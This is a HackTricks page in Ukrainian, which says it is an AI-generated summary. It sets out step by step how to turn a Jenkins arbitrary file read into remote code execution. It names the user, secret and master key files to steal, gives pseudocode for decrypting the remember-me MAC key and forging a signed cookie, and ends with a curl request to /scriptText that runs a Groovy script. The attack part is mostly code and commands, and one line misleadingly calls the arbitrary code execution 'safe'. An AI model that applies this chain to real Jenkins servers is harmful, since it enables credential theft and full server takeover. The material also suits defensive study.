Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion в Jenkins на RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки я не матиму часу створити підсумок самостійно:
Attack Prerequisites
- Feature Requirement: "Remember me" має бути увімкнено (налаштування за замовчуванням).
- Access Levels: Зловмисник потребує загальних/читальних дозволів.
- Secret Access: Можливість читати як бінарний, так і текстовий вміст з ключових файлів.
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- Отримати конфігурацію користувача та секрети з
$JENKINS_HOME/users/*.xml
для кожного користувача, щоб зібрати: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- Витягти криптографічні ключі, що використовуються для підписування cookie:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- Calculate Token Expiry Time:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Додає одну годину до поточного часу
- Concatenate Data for Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- Decrypt MAC Key File:
key = toAes128Key(masterKey) // Перетворити майстер-ключ у формат ключа AES128
decrypted = AES.decrypt(macFile, key) // Розшифрувати .mac файл
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- Compute HMAC SHA256:
mac = HmacSHA256(token, macKey) // Обчислити HMAC, використовуючи токен і MAC-ключ
tokenSignature = bytesToHexString(mac) // Перетворити MAC у шістнадцятковий рядок
Cookie Encoding
- Generate Final Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 кодувати дані cookie
Step 3: Code Execution
Session Authentication
- Fetch CSRF and Session Tokens:
- Зробити запит до
/crumbIssuer/api/json
, щоб отриматиJenkins-Crumb
. - Захопити
JSESSIONID
з відповіді, який буде використовуватися разом з cookie "remember-me".
Command Execution Request
- Send a POST Request with Groovy Script:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy скрипт може бути використаний для виконання команд на системному рівні або інших операцій у середовищі Jenkins.
Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.